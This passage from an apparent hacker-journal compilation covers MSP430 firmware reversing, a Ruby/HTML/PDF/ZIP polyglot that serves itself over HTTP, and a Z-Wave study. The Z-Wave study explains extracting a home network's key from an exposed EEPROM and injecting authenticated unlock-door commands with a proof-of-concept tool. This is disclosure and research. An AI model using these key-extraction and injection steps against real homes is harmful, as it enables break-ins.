SWPB (swap the bytes of the word), RRA (1-bit rotate right as
arithmetic), SXT (sign-extend a byte into a word), PUSH (onto the
stack), CALL (a subroutine, by pushing PC and then moving the new
address to PC), and RETI (return from interrupt, restoring the Status
Register SR and PC from stack).

Although these are all simple folk, they can, of course, be addressed
in many different ways. If our register is n, then we see a few major

types of addressing, all based off of the ‘As’ (for source) and ‘Ad’ (limited
options for destination) fields:

Rn Operate on the contents of register n.

@Rn Operate on what is in memory at the address held in Rn.

@Rn+ Same as above, then increment the register by 1 or 2.11

x(Rn) Operate on what is in memory at the address Rn + x.

Wait, we just told you about an ‘x’. Where did that come from?! In
this case, it’s an extension word, where the next 16-bit word after the

extension defines x. In other words, it’s an index off the base address
held in Rn.

If the register is r0 (PC, the program counter), r2 (SR, the status
register), or r3 (the constant generator), special cases apply. A common
special case is to give you a constant, either -1, 0, 1, 2, 4, or 8.

Now we tackle two-operand arithmetic operations, most of which
you should recognize from any other instruction set. The mov, add, addc
(add with carry), sub, and subc instructions are all as you’d expect. cmp
pretends to subtract the source from the destination to set status flags.
dadd does a decimal addition with carry. xor and and are bitwise
operations as usual. We have three that are a little unique:
bis (bit immediate set, logical OR),



bic (dest = dest AND src),
and bit (test bits of src AND dest).

Even with these instructions, though, we’re still missing many
favorite mnemonics that you’ll see in disassembly. These are emulated

instructions, actually implemented using other instruction(s).

For example, br dst (branch) is an emulated instruction. There is no
branch opcode, but instead the br instructions are assembled as mov dst,
pc. Similarly, pop dst is really mov @SP+, dst, and ret is really mov @sp+, pc. If
these mappings make sense, you’re all set to continue your travels!

Thus, when we need to get around this land of MSP430, we look
not to the many jump types of x86, but instead to simpler patterns,
where the only kind of jump operands are relative, and that’s that.

So jmp, the instruction says, but where to? The first three bits (001)
mean jump, the next three specify the conditional, and the remaining
ten are a signed offset. To get there, the ten bits are multiplied by two
(left shifted) and then are added to the program counter, r0. Why
multiply by two? Well, we have 16-bit word alignment, in the MSP430
land, unlike with those pesky x86 instructions you might be thinking
of. Ordnung muß sein!

You might have noticed in your disassembly that even though we
told you this was a fixed-width instruction set, some instructions are
longer than one 16-bit word! One way this can happen is when using
immediate values, which—much like those of the glorious PDP-11 of
old—are implemented by dereferencing and incrementing the program
counter. This way, the CPU will skip over the immediate value in its
code fetch path just as it’s fetching that same value as data.

And, finally, there are prefix instructions that have been added in
MSP430X, the 20-bit extension of the MSP430. These prefix
instructions go before the normal instruction, and you’ll most
commonly see them setting the upper four bits of the pointer in a 20-
bit function call.

What’s a Function, Anyways?



In x86 assembly, we’re used to looking for function preambles to pick
out the functions, but what do we look for in MSP430 code? We’ve
already discussed finding the entry point of the program and those of
other ISRs by looking at the vectors in the IVT. What about other
functions?

In MSP430, all functions that are not ISRs will end with a RET
instruction which, as you recall, is actually a MOV @SP+, PC.

Compilers vary greatly in the calling conventions, as there is
actually no fixed ABI. Usually, arguments get passed in r12, r13, r14, and
r15. This, however, is by no means a requirement. MSP430 GCC uses
r15 for the first parameter and for most return value types, and r14, r13,
and r12 for the other parameters. Texas Instruments’ Code Composer
and the IAR compiler (after EW430 4.10A release) use the opposite
order: r12, r13, r14, and r15 and return in r12. Remember this when using
assembly examples of one calling convention in the other, as you’ll
need to move the registers around a bit.

We recommend using an additional heuristic instead of looking for
a function preamble format. In this heuristic, we assume that indirect
calls are rare, and look for br #addr and call #addr instructions. Both of
these consist of two 16-bit words, and whatever the #addr we extract
from that second word, there’s a good chance that it’s the start of a
function.

Using this logic, you should be able to find functions even in
stripped images disassembled with objdump. A short script, or a good
disassembler, should help automate the marking of these functions.

Making Sense of Interrupts

As with your (other) favorite microcontroller, our exploration of the
code can be preempted by an interrupt.

If you don’t like these getting in the way of your travels, they can be
globally or individually disabled—well, except for the non-maskable

interrupts (NMI).12



The MSP430 handles any interrupts set in priority order, and goes
through the interrupt vector table to find the right interrupt service
routine’s (ISR) starting address. It hides away the current PC and SR on
the stack, and runs the ISR. The ISR then returns, and normal
execution continues.

If one thing is for certain, it’s that 0xFFFE is the system’s reset ISR
address (used on power-up, external reset, etc.), and that it has the
highest priority.

If you have an ELF formatted dump,13 use msp430-objdump dump.msp430 -DS
to get disassembly. Then locate the interrupt table at the end of
memory.

0000ffc0 <.sec2>:
 ffc0 : 26 32 jn $-946 ;abs 0xfc0e
 ...
 fffc : 26 32 jn $-946 ;abs 0xfc4a
 fffe : 00 31 jn $+514 ;abs 0x200

We look at 0xFFFE for the reset interrupt address, which is 0x3100 in
this image. (objdump mistakes it for a conditional relative jump, so ignore
the disassembly and read only the bytes.) That’s our entry point into
the program, and you can see how it nicely lines up in the disassembly.

00003100 <.sec1>:
 3100: 31 40 00  31  mov   #12544,  r1
 3104: 15 42 20  01  mov   &0x0120,r5
 3108: 75 f3         and.b #-1, r5

Maybe we want to look at some specific functionality that is
triggered by an interrupt, for example incoming serial data. Looking in
the MSP430F1611 data sheet, we find that USART1 receive is a maskable
interrupt at 0xFFE6. If we look at the notated IVT in an example
program (e.g., TinyOS’s Printf program compiled for TelosB), we see
addresses in little endian.



0000ffe0 <__ivtbl_16>:
    ffe0:       52 44    dac/dma
    ffe2:       52 44    i/o p2
    ffe4:       56 56    usart 1 tx
    ffe6:       dO 55    usart 1 rx
    ffe8:       52 44    i/o p1
    ffea:       94 4f    timer a3
    ffec:       76 4f    timer a3
    ffee:       52 44    adc12
    fffO:       52 44    usartO tx
    fff2:       52 44    usartO rx
    fff4:       52 44    watchdog timer
    fff6:       52 44    compartor a
    fff8:       d8 4f    timer b7
    fffa:       ba 4f    timer b7



    fffc:       52 44    nmi/etc
    fffe:       OO 4O    reset

We note that 0x4452 is used often. A quick look at this address shows
that it is an empty IVT noting unused interrupts. Since we’re
interested in the USART1 receive path, we follow 0x55d0 and see a large
function that in turn calls another function—both nicely annotated, as
we were working from an image with debug symbols:

000055d0 <sig_UART1RX_VECTOR>:
...
    563a: b0 12 98 46  call #0x4698
...
00004698 <SerialP__rx_state_machine>:
...

This technique of looking up your IVT entries and then working
backward to reverse engineer any handlers that correspond to the
functionality you are interested in can help you avoid getting lost in
reversing unimportant pieces of the code.

Sorting out Peripherals

Reversing an image, we usually have some peripheral of interest, such as
the SPI bus that attaches a radio.

Some peripherals are dealt with by interrupts, as we just saw, but
some are also either partially or totally handled by touching memory
defined by the peripheral file map.

In particular, as an alternative to using interrupts, a program could
simply poll for incoming data or a change in a pin’s state. Likewise,
setting up configurations for items such as the USART discussed above is
done in the peripheral file map.

Let us take the same file we used above, and look in the

MSP430F1611 guide for the USART1 in the peripheral file map.14

Here we see the registers in the range from 0x0078 to 0x007F. Let us
search for a few of these in the image.



First, we look for 0x0078 (USART control), 0x0079 (transmit control),
and 0x007A (receive control). We find them all together in a function that
is responsible for configuring the USART resource. A reader
referencing the documentation will see the other control registers
similarly updated.

4e8e <Msp430Uart ... Configure ...>:
...
4eb4:  c2 4e 78  00   mov.b r14,    &0x0078
4eb8:  d2 42 04  11   mov.b &0x1104,&0x0079
4ebc:  79 00
4ebe:  d2 42 05  11   mov.b &0x1105,&0x007a
4ec2:  7a 00
4ec4:  1e 42 00  11   mov   &0x1100,r14
4ec8:  c2 4e 7c  00   mov.b r14,    &0x007c
4ecc:  8e 10          swpb  r14
4ece:  4e 4e          mov.b r14,    r14
4ed0:  c2 4e 7d  00   mov.b r14,    &0x007d
4ed4:  d2 42 02  11   mov.b &0x1102,&0x007b
...

Whereas this approach can help you understand the settings to
better sniff the serial bus physically, often you’d rather want to
understand the actual data being written out. For this, we look for the
peripheral holding the transmit buffer pointer—in our case at 0x007F,
according to the chip documentation.

Searching for this address in the disassembly leads us to a few
interesting functions. Firstly, there’s one that disables the UART, which
fills this address with null bytes. That helps us confirm we’re looking at
the right address. We also see this address written to in the interrupt
handler that we located in the previous section—and in a large function
that ends up being a form of printf for writing out to this serial line.

As you can see, working backward from the addresses found in the
peripheral file map can help you quickly find functions of interest.

This guide is neither complete nor perfectly accurate. We told a
few lies-to-children as all teachers do, and we omitted a dozen nifty
examples that would’ve fit. Still, we hope that this will whet your
appetite for working with the MSP430 architecture, and that, when



you begin to work on the ’430s, you can get your bearings quickly,
jumping into the fun part of the journey with less hassle.

For more MSP430 tricks, check out PoCǁGTFO 2:5!

11:9 This HTML page is also a PDF which is also a
ZIP which is also a Ruby script which is an HTTP
quine; or, The Treachery of Files

by Evan Sultanik from a concept independently conceived by Ange Albertini and

with great technical assistance from Philippe Teuwen

Please rise and open your hymnal for the recitation of the Book of
PoCǁGTFO, Chapter 7, Verse 6.

“A file has no intrinsic meaning. The meaning of a file—its
type, its validity, its contents—can be different for each parser
or interpreter.”

You may be seated.

In the spirit of самиздат and the license of this publication, we
thought it might be nifty to aid its promulgation by enabling the PDF
to mirror itself. That’s right, this PDF is an HTTP quine: it is a web
server that serves copies of itself.

$ ruby pocorgtfo11.pdf &

Listening for connections on port 8080.

To listen on a different port,

re-run with the desired port as a command-line argument.

$ curl -s http://localhost:8080/pocorgtfo11.pdf |

  diff -s - pocorgtfo11.pdf

A neighbor at 127.0.0.1 is requesting/pocorgtfo11.pdf

Files - and pocorgtfo11.pdf are identical



Utilisation de la canne. — 1. Canne-filet à papillons. — 2. Canne à
toiser les chevaux. — 3. Canne-parapluie. — 4. Canne musicale. —
5. Ceci n’est pas une pipe.

This polyglot once again exploits the fact that PDF readers ignore
everything before the first instance of “%PDF”. Coupled with Ruby’s
__END__ token—which effectively halts interpretation—and its __FILE__
token—which resolves to the path of the file being interpreted—it’s
actually quite easy to make an HTTP quine by prepending the PDF
with the following:



But why stop there? Ruby makes all of the bytes in the script that
occur after the __END__ token available in the special “DATA” object.
Therefore, we can add additional content between __END__ and %PDF that
the script can serve.



Any HTTP request with a URL that ends with .pdf will result in a
copy of the PDF; anything else will result in the HTML index parsed
from DATA.

Since the data between __END__ and %PDF... is pure HTML already, it
would be a shame not to make this file a pure HTML polyglot, as we
did with pocorgtof07.pdf. Doing so is relatively simple by wrapping PDF
in HTML comments.



This is valid Ruby, since Ruby does not interpret anything after the
__END__. The PDF does not affect the validity of the HTML since it is
commented. There will be trouble if the byte sequence “-->” (2D 2D 3E)
occurs anywhere within the PDF, but this is very unlikely and has
proven not to be a problem.

Wrapping the Ruby webserver code in an HTML comment would
have been ideal, and does in fact work for most PDF viewers. However,
the presence of an HTML opening comment before the %PDF causes
Adobe’s parser to classify the file as HTML and therefore refuse to
open it.

Unfortunately, some web browsers interpret the Ruby code as
having an implied “<html>” preceding it, adding all of that text to the
DOM. This is remedied with Javascript in the HTML that sanitizes
the DOM if necessary.

As has become the norm, this PDF is also a valid ZIP. This feat does
not affect the Ruby/HTML portion since the ZIP is embedded later in
the file as an object within the PDF, as in PoCǁGTFO 1:5. This

presents an additional opportunity for the webserver: if the script can
unzip itself, then it can also serve all of the contents of the ZIP.
Unfortunately, Ruby does not have a ZIP decompression facility in its
standard library. Therefore, the webserver calls the unzip utility with the
“-l” option, parsing the output to determine the names and sizes of the
constituent files. Then, a call to unzip with “-p” writes raw decompressed
contents to stdout, which the web server splits apart and stores in
memory. Any HTTP request with a URL that matches a file path
within the ZIP is served that decompressed file. This allows us to have
images like a favicon in the HTML. In the event that the PDF is



interpreted as raw HTML—i.e., it was not served from the Ruby script

—a Javascript function conveniently hides all of the ZIP access
portions.

With all of this feature bloat, the Ruby/HTML code that is
prepended before the PDF started getting quite large. Unfortunately,

some PDF readers like PDFium15 (the default PDF viewer shipped
with Chrom(e|ium)) fail unless they find “%PDF” within the first 1024
characters. Therefore, the final trick in this polyglot is to exploit
Ruby’s multiline comment syntax (which, like the __END__ token, owes
itself to Ruby’s Perl heritage). This allows us to start the PDF header
early, within a comment that will not be interpreted. Within that PDF
header we open a dummy object stream that will contain the remainder
of the Ruby script and the following HTML code before the start of
the “real” PDF.





Figure 11.5: Anatomy of the Ruby/HTML/PDF/ZIP polyglot. 
portions contain the main content of their respective filetypes. 

 portions are for context and to illustrate modifications
necessary to make the polyglot work. Gray portions are not

interpreted by their respective filetypes.



11:10 In Memoriam: Ben “bushing” Byer

by FailOverflow

We are deeply saddened by the news that our member, colleague,
and friend Ben “bushing” Byer passed away of natural causes on
Monday, February 8th.

Many of you knew him as one of the public faces of our group,
failOverflow, and before that, Team Twiizers and the iPhone Dev
Team.

Outspoken but never confrontational, he was proof that even in the
competitive and often aggressive hacking scene, there is a place for both
a sharp mind and a kind heart.

To us he was, of course, much more. He brought us together, as a
group and in spirit. Without him, we as a team would not exist. He was
a mentor to many, and an inspiration to us all.

Yet above anything, he was our friend. He will be dearly missed.

Our thoughts go out to his wife and family.

Keep hacking. It’s what bushing would have wanted.



Ben Byer 1980-2016





12 Collecting Bottles of Broken

Things

COLLECTING BOTTLES OF BROKEN THINGS,
PASTOR MANUL LAPHROAIG
WITH THEORY AND PRAXIS

COULD BE THE MAN
WHO SNEAKS A LOOK

BEHIND THE CURTAIN!

12:1 Lisez Moi!

Neighbors, please join me in reading this thirteenth release of the
International Journal of Proof of Concept or Get the Fuck Out. This
release is given on paper to the fine neighbors of Montréal.

We begin on page 431 with a sermon concerning peak computation,
population bombs, and the joy of peeks and pokes in the modern world



by our own Pastor Manul Laphroaig.
On page 437 we have a Z-Wave Christmas Carol by Chris Badenhop

and Ben Ramsey. They present a number of tricks for extracting pre-
shared keys from wireless Z-Wave devices, and then show how to use
those keys to join the network.

On page 453, Krzysztof Kotowicz and Gábor Molnár present
Comma Chameleon, weaponize PDF polyglots to exfiltrate data via XSS-
like vulnerabilities. You will never look at a PDF with the same eyes
again, neighbors!

Chris Domas, whom you’ll remember from his brilliant compiler
tricks, has contributed two articles to this fine release. On page 483, he
explains how to implement M/o/Vfuscator as a Virtual Machine,
producing a few bytes of portable C or assembly and a complete,
obfuscated program in the .data segment.



IBM had JCL with syntax worse than Joss, and everywhere the
language went, it was a total loss! So dust off your z/OS mainframe and
use the ASCII/EBCDIC chart from the back of the book to read
Soldier of Fortran’s JCL Adventure with Network Job Entries on page
490.

What does a cult Brezhnev-era movie have to do with how exploit
code finds its bearings in a Windows process’ address space? Read
Exploiting Weak Shellcode Hashes to Thwart Module Discovery; or, Go Home,
Malware, You’re Drunk! by Mike Myers and Evan Sultanik on page 535
to find out!

Page 553 begins Alex Ionescu’s article on a DeviceGuard Mitigation
Bypass for Windows 10, escalating from Ring 3 to Ring 0 with complete
reconstruction of all corrupted data structures.

Page 577 is Chris Domas’ second article of this release. He presents
a Turing-complete Virtual Machine for VIM using only the normal
commands, such as yank, put, delete, and search.

On page 587 you will find a rousing guest sermon Doing Right by
Neighbor O’Hara by Andreas Bogk, against the heresy of “sanitizing”
input as a miracle cure against injection attacks. Our guest preacher
exposes it as fundamentally unneighborly, and vouchsafes the true faith.

Concluding this issue’s amazing lineup is Are androids polyglots? by
Philippe Teuwen on page 593, in which you get to practice Jedi
polyglot mind tricks on the Android package system. Now these are the
droids we are looking for!



12:2 Surviving the Computation Bomb

by Manul Laphroaig

Gather round the campfire, neighbors. Now is the time for a scary
story, of the kind that only science can tell. Vampires may scare
children, but it takes an astronomer to scare adults—as anyone who
lived through the 1910 scare of the Earth’s passing through the Halley’s
comet’s tail would plainly tell you. After all, they had it on the best
authority that the tail’s cyanogen gas—spectroscopically confirmed by



very prominent bands—would impregnate the atmosphere and possibly snuff
out all life on the planet.

But comets as a scare are old and busted, and astronomic
spectroscopy is no longer a hot new thing, prominent bands or no. We
can do better.

Imagine that you come home after a strenuous workday, and, after a
nice dinner, sit down to write some code on that fun little project for
your PoCǁGTFO submission. Little do you know that you are
contributing to the thing that will doom us all!

You see, neighbors, there is only so much computation possible in
the world. By programming for pleasure, you are taking away from this
non-renewable resource, and when it runs out, our civilization will be
destroyed.

Think of it, neighbors. Computation was invented by
mathematicians, and they tend to imagine infinite resources, like
endless tapes for their model machines, but in reality nothing is
inexhaustible. There is only a finite amount of atoms in the universe—
so how could such a universe hold even one of these infinite tapes?
Mathematicians are notorious for being shortsighted, neighbors.



You may think, okay, so there may not be an infinite amount of
computation, but there’s surely enough for everyone? No, neighbors,
not when it’s growing exponentially! We may have been safe when
people just wrote programs, but when they started writing programs to
write programs, and programs to write programs to write programs,
how long do you think this unsustainable rush would last? Have you
looked at the size of “hello world” lately? We are doomed, and your
little program is adding to that, too!

Now you may think, what about all these shiny new computers they
keep making, and all those bright ads showing how computers make
things better, with all the happy people smiling at you? But these are
made by corporations, neighbors, and corporations would do anything



to turn a profit, would they not? Aren’t they the ones destroying the
world anyway? Perhaps the rich and powerful will have stashed some of
it away for their own needs, but there will not be enough for everyone.

Think of the day when computation runs out. The Internet of
Things will turn into an Internet of Bricks, and all the things it will be
running by that time, like your electricity, your water, your heat, and
so on will just stop functioning. The self-driving cars will stop. In vain
will your smart fridge, previously shunned by your other devices as the
simpleton with the least processor power, call out to its brethren and
its mother factory—until it too stops and gives up its frosty ghost.

A national mobilization of the senior folks who still remember how
to use paper and drive may save some lives, but “will only provide a
stay of execution.” Nothing could be more misleading to our children
than our present society of affluent computation!1



To meet the needs of not just individual programmers, but of
society as a whole, requires that we take an immediate action at home
and promote effective action worldwide—hopefully, through change in
our value system, but by compulsion if voluntary methods fail—before
our planet is permanently ruined.2

No point in beating around the bush, neighbors—computation
must be rationed before it’s too late. We must also control the
population of programmers, or mankind will program itself into
oblivion. “The hand that hefted the axe against the ice, the tiger, and
the bear [and] now fondles the machine gun”—and, we must add, the
keyboard—“just as lovingly”3 must be stopped.



Uncontrolled programming is a menace. The peeks and pokes
cannot be left to the unguided masses. Governments must step in and
Do Something.

Well, maybe the forward-thinking elements in government already
are. When industrial nations sign an international agreement to
control software under the same treaty that controls nuclear and
chemical weapon technologies—and then have to explicitly exclude
debuggers from it, because the treaty’s definition of controlled software
clearly covers debuggers—something must be going on. When
politicians who loudly profess their commitment to technological
progress and education demand to punish makers and sellers of non-
faulty computers—maybe they are only faking ignorance.

When “Advanced Placement” computing in high schools means
Java and only Java, one starts to suspect shenanigans. When most of
you, barely escaped courses that purported to teach programming, but
in fact looked like their whole point was to turn you away from it—can
this be a coincidence? Not hardly, neighbors, not by a long shot!

Scared yet?4

Garlic against vampires, silver against werewolves, the Elder Sign
against sundry star-spawn. The scary story teaches us that there’s always
a hack. So what is ours against those who would take away our PEEK
and our POKE in the name of expert opinions on the whole society’s
good?

Perhaps it is this little litany: “Science is the belief in the ignorance
of experts.” At the time that Rev. Feynman composed it, he felt
compelled to say, “I think we live in an unscientific age ... [with] a
considerable amount of intellectual tyranny in the name of science.”
We wonder what he would have said of our times.

But take heart, neighbors. Experts and sciences of doom come and
go; so do killer comets with cyanogen tails, the imminent Fifth Ice Age,
and population bombs. We might survive the computation bomb yet—



so finish that little project of yours without guilt, send it to us, and let
its little light shine—in an unscientific world that needs it.

12:3 Carols of Z-Wave Security; or, Robbing Keys
from Peter to Unlock Paul

by Chris Badenhop and Ben Ramsey

Adeste Fideles

Z-Wave is a physical, network, and application layer protocol for home
automation. It also allows members of the disposable income class to
feed their zeal for domestic gadgetry, irrespective of genuine utility. Z-
Wave devices sit in their homes, quietly exchanging sensor reports and
actuating in response to user commands or the environment.

The curious reader may use an SDR to learn how, when, and what
they communicate. Tools like Scapy-radio (Picod, Lebrun, and
Demay) and EZ-Wave (Hall and Ramsey) demodulate Z-Wave frames
for inspection and analysis. The C++ source code for OpenZwave is a
great place to examine characteristics of the Z-Wave application layer.
Others may still prefer to cross-compile OpenZwave to their favorite
target and examine the binary using a custom disassembler built from
ROP gadgets found in the old shareware binary WOLF3D.EXE.

After tinkering with Z-Wave devices and an SDR, readers will
quickly realize that they can send arbitrary application layer



commands to devices where they are executed. To combat this, some
devices utilize the Z-Wave security layer, which provides both integrity
and confidentiality services to prevent forgery, eavesdropping, and
replay.

The first gospel of the Z-Wave security layer was presented by
Fouladi and Ghanoun at Black Hat 2013. In it they identified and
exploited a remote rekeying vulnerability. In this second gospel of the
Z-Wave security layer, we validate and extend their analysis of the
security layer, identify a hardware key extraction vulnerability, and
provide open source PoC tools to inject authenticated and encrypted
commands to sleeping Z-Wave devices.

Deck the Home with Boughs of Z-Wave

This Christmas, Billy Peltzer invests heavily in Z-Wave home
automation. The view of his festive front porch reveals several of these
gadgets. Billy is a little paranoid after having to defend himself from
hordes of gremlins every Christmas, so he installs a Z-Wave door lock,
which both Gizmo and he are able to open using a smart phone or
tablet. Billy uses a Z-Wave smart plug to control Christmas lights
around his front window. He programs the strand of lights to turn on
when a Z-Wave PIR (passive infrared) sensor detects darkness and turn
off again at daylight. This provides a modest amount of energy savings,
which will pay for itself and his Mogwai-themed ornament investment
after twenty years.

The inquisitive reader may wonder whether Billy’s front door is
secure. Could a gremlin covertly enter his home using the Z-Wave
application layer protocol, or must it instead cannonball through a
window, alerting his dog Barney? Fortunately, sniffing, replaying, or
injecting wireless door commands is fruitless because the door
command class implements the Z-Wave security layer, which is rooted
in cryptography.

Z-Wave cryptography uses symmetric keys to provide encryption
and authentication services to the application layer. It stores a form of



these keys in nonvolatile memory, so that the device does not require
rekeying upon power loss. Of the five locks we have examined, the
nonvolatile memory is always located in the inner-facing module, so a
gremlin would have to destroy a large portion of the Z-Wave door lock
to extract the key. At that point it would have physical access to the
lock spindle anyway, making the cryptographic system moot.

Wireless security is enabled on the fifth generation (Z-Wave Plus)
devices on Billy’s front porch. Thus, their memory contains the same
keys that keep gremlins from wirelessly unlocking his door. A gremlin
may crack open the outdoor smart plug or PIR sensor, locate and
extract the keys, and send an authenticated unlock command to the
door. Billy has, figuratively, left a key under the doormat!

We Three Keys of AES Are

Since Z-Wave security hinges on the security of the keys, it is
important to know how they are stored and used. Z-Wave encryption
and authentication services are provided by three 128-bit AES keys;
however, the security of an entire Z-Wave network converges to a
single key in the set. Like the three wise men, only one of them was
necessary to deliver the gifts to Brian of Nazareth. The other two could
have just as well stayed home and added a few extra camels to haul the
gifts. A card would also have been nice.

The key of keys in this system is the network key. This key is
generated by the Z-Wave network controller device and is shared with
every device requiring cryptographic services. It is used to derive both
the encrypting and signing keys. When a new device is added to a Z-
Wave network, the device may declare a set of command classes that
will be using security (e.g., the door lock command class) to the Z-
Wave network controller. In turn, the controller sends the network key
to the new device. To provide a razor-thin margin of opaqueness, this
message is encrypted and signed using a set of three default keys known
to all Z-Wave devices. The default encryption and authentication keys
are derived from a default 128-bit network key of all zeros. If the



adherent reader recovers the encryption key from their device, decrypts
sniffed frames, and finds that the plaintext is not correct, then they
should attempt to use the encryption key derived from the null
network key instead.5

An authentication key is derived from a network key as follows.
Using an AES cipher in ECB-mode, a 16-byte authentication seed is
encrypted using the network key to derive the authentication key. The
derivation process for the encryption key is identical, except that a
different 16-byte seed value is used. A curious reader may want to know
what these seeds are, and any fortuitous reader in possession of a
MiCasaVerde controller will be able to tell you.

The MiCasaVerde controller uses an embedded Linux OS and
provides two mechanisms for extracting a keyfile from its filesystem,
located at /etc/cmh/keys. Using the web interface, one may download a
compressed archive of the controller state. The archive contains the
/etc directory of the filesystem. Alternatively, a secure shell interface is
also provided to remotely explore the filesystem. The MiCasaVerde
binary key file (keys) is exactly 48 bytes and contains all three keys. The
file is ordered with the network key first, the authentication key second,
and the encryption key last. Billy Peltzer’s Z-Wave network controller
is a MiCasaVerde-Edge. In Figure 12.1, we show the resulting key file
and dump the values of the keys for his network, 0xe97a-
5631cb5686fa24450eba103f945c.

Figure 12.1: Keys found in Billy’s MiCasaVerde Edge Controller



Figure 12.2: Seeds for Encryption and Authentication Keys

To find the seeds, one must simply decrypt the authentication and
encryption keys using an AES cipher in ECB mode loaded with the
network key, and the resulting gifts will be the authentication and
encryption seeds respectively. From our own observations, the same
seed values are recovered from both third and fifth generation Z-Wave
devices. Billy’s keys are used in Figure 12.2 to recover the seeds. Given
the seed values and a network key, we have a method for deriving the
encryption key and the authentication key from an extracted network
key.

Away in an EEPROM, No ROM for Three Keys

Z-Wave devices other than MiCasaVerde controllers may not have an
embedded Linux OS, so where are the keys stored in those devices?
Extracting and analyzing the nonvolatile memory of Billy’s PIR sensor
and doorlock reveal that the network key is stored in a lowly,
unprotected 8-pin SPI EEPROM, which is external to the proprietary
Z-Wave transceiver chip. In fact, only the network key is stored in the
EEPROM, implying that the encryption key and the authentication
key are derived upon startup and stored in RAM.

Unless the device designers hoped to obscure the key derivation
process, the decision to store only the network key in nonvolatile
memory is unclear. Moreover, it is not clear why the key is found in the
EEPROM rather than somewhere in the recesses of the proprietary



ZW0X01 Z-Wave transceiver module, whose implementation details
are protected by an NDA. The transceiver certainly has available flash
memory, and there does not appear to be anyone who has dumped the
ZW0501 fifth generation flash memory yet. Until this issue is fixed,
anyone with an EEPROM programmer and physical access can acquire
this key, derive the other two keys, and issue authenticated commands
to devices. We extract Billy’s network key by desoldering the
EEPROM from the main board of his PIR sensor and use an
inexpensive USB EEPROM programmer (Signstek MiniPRO) to
dump the memory to a file.

The circuit board from the PIR sensor is shown in Figure 12.3. The
ZW0501 transceiver is the large chip located on the right side of the
board (a third generation system would have a ZW0301). In general,
the SPI EEPROM is the 8-pin package closest to the transceiver. The
reader may validate that the SPI pins are shared between the
EEPROM and transceiver package to be sure. In fact, the ATMLH436
EEPROM used in a third generation door lock is not in the MiniPRO
schematics library, so we trace the SPI pin outs of the ZM3102 (i.e., the
postage-stamp transceiver package) to the SPI EEPROM to identify its
pin layout. We use this information to select a compatible SOIC8
ATMEL memory chip that is available in the MiniPRO library.

We are unable to provide a fixed memory address of the network
key, as it varies among device types. Even so, because the memory is so
empty (>99% zeros), the key is always easy to find. In all three of Billy’s
Z-Wave devices, the key is within the only string of at least 16 bytes in
memory. The region of the EEPROM memory of Billy’s PIR sensor
containing the same network key follows, with the key itself starting at
address 0x60A0.



Figure 12.3: EEPROM on an Aeotec Multisensor 4



For reference, the segment of memory in Billy’s door lock
containing the network key follows. The network key starts at address
0x012D.

Each device contains a network key, an authentication key, and an
encryption key. The network key is common throughout the network
and is shared with the devices by using default authentication and
encryption keys that are the same for all third and fifth generation Z-
Wave devices in the world. The authentication and the encryption key
on the device are derived from the network key and the nonces of all 5s
and all As respectively.

Do You Hear What I Hear? A Frame, a Frame,
Encapsulated in a Frame, Is Encrypted

Even armed with the keys, the patient reader still needs to know how to
use them. The Z-Wave security service provides immutable encryption
and authentication through the use of an encapsulation frame. The
encapsulation security frame is identified in the first two bytes of the
application layer payload. The first byte specifies the command class,
and the second provides the command, where an encapsulated security
frame has byte values of 0x98 and 0x81, respectively. The remainder of the
frame contains the eight upper bytes of the IV, used for both encryption
and signing, the variable length encapsulated and encrypted pay-load,
the nonce ID, and an 8-byte CM AC (cipher-based message
authentication code).



At a minimum, the frame encapsulated in the security frame is three
bytes. The first byte is used for fragmentation; however, we have yet to
observe a value other than 0x00 in this field. The second byte provides
the command class and, like the application layer, is followed by a
single command byte and zero or more bytes of arguments.

The application payload is encrypted using the encryption key and
an AES cipher in OFB mode with a 16-byte block size. OFB mode
requires a 16-byte IV, which is established cooperatively between the
source and destination. The lower 8 bytes of the IV are generated on
request by the destination, which OpenZwave calls a nonce, and are
reported to the requestor before the encapsulation frame is sent. The
first byte of this 8-byte nonce is what we referred to as the nonce ID.
The upper eight bytes of the IV are generated by the sender and
included in the encapsulation security frame. When the destination
receives the encapsulated frame, it decrypts the frame using the same
cipher setting and key. It is able to reconstruct the IV using the IV field
of the encapsulated frame and by using the nonce ID field to search its
cache of generated nonces.



Joy to the Home, Encrypted Traffic is Revealed

Some cautious readers may become anxious when two automations are
having a private conversation within their dwelling. This is especially



true when one of them is a sensor, and the other is connected to the
Internet. Fear not! Armed with knowledge of the encapsulation security
frame and possession of the network or encryption key, the triumphant
reader can readily decrypt frames formerly hidden from them. They
will hopefully discover, as we have, that Z-Wave messages are devoid of
sensitive user information. However, may the vigilant reader be a sentry
to warn us if any future transgressions do occur in the name of
commercialism and Orwellianism.

To aid the holy sentry, we provide the PoC decryptPCAPNG tool to
decrypt Z-Wave encapsulated Z-Wave frames. The user provides the
network or encryption key. The tool assumes the user is capturing Z-
Wave frames using either Scapy-radio or EZ-Wave with an SDR,
which sends observed frames to Wireshark for capture and saving to
PCAPNG files.

What Frame Is This, Who Laid to Rest, upon
Receiver’s Antenna, Did Originate?

Secure Z-Wave devices do not act upon a command issued in an
encapsulation frame unless its CMAC is validated. Thus, the active
reader wishing to do more than observe encrypted messages requires
further discourse. Certainly, the gremlin wishing to open Billy’s front
door desires the ability to generate an authenticated unlock-door
command.

The Z-Wave CMAC is derived using the CBC-MAC algorithm,
which encrypts a message using an AES cipher in CBC mode using a
block size of 16 bytes. It uses the same IV as the encryption cipher, and
only the first eight bytes of the resulting 16-byte digest are sent in the
encapsulation frame to be used for authentication. Instead of creating
the digest from the entire security encapsulation frame, a subset of
fields are composed into a variable-length message. The first four bytes
of this message are always the security command class ID, source ID,
destination ID, and length of the message. The remaining portion of
the message is the variable length encapsulated frame (e.g., an unlock-



door command, including the fragmentation byte) after it has been
encrypted.

The recipient of the encapsulation security frame validates the
integrity of the frame using the included 8-byte CM AC. It is able to
generate its own CMAC by reconstructing the message to generate the
digest using the available fields in the frame, the IV, and the
authentication key. If the generated CMAC matches the declared value
in the frame, then the source ID, destination ID, length, and content of
the encapsulated frame are validated. Note that, since the other fields
in the frame are not part of the CMAC message, they are not validated.
If the generated digest does not match the CMAC in the frame, the
frame is silently discarded.

Bring a Heavy Flamer of Sanctified Promethium,
Jeanette, Isabella

Knock! Knock! Knock! Open the door for us!
Knock! Knock! Knock! Let’s celebrate!



We wrote OpenBarley as a PoC tool to demonstrate how Z-Wave
security works. Its default encapsulated command is to unlock a door
lock, but the user may specify other, arbitrary commands. The tool



works with the GNURadio Z-Wave transceiver available in Scapy-
radio or EZ-Wave to inject authenticated and encrypted frames.

The reader must note that battery operated Z-Wave devices
conserve power by minimizing the time the transceiver is active. When
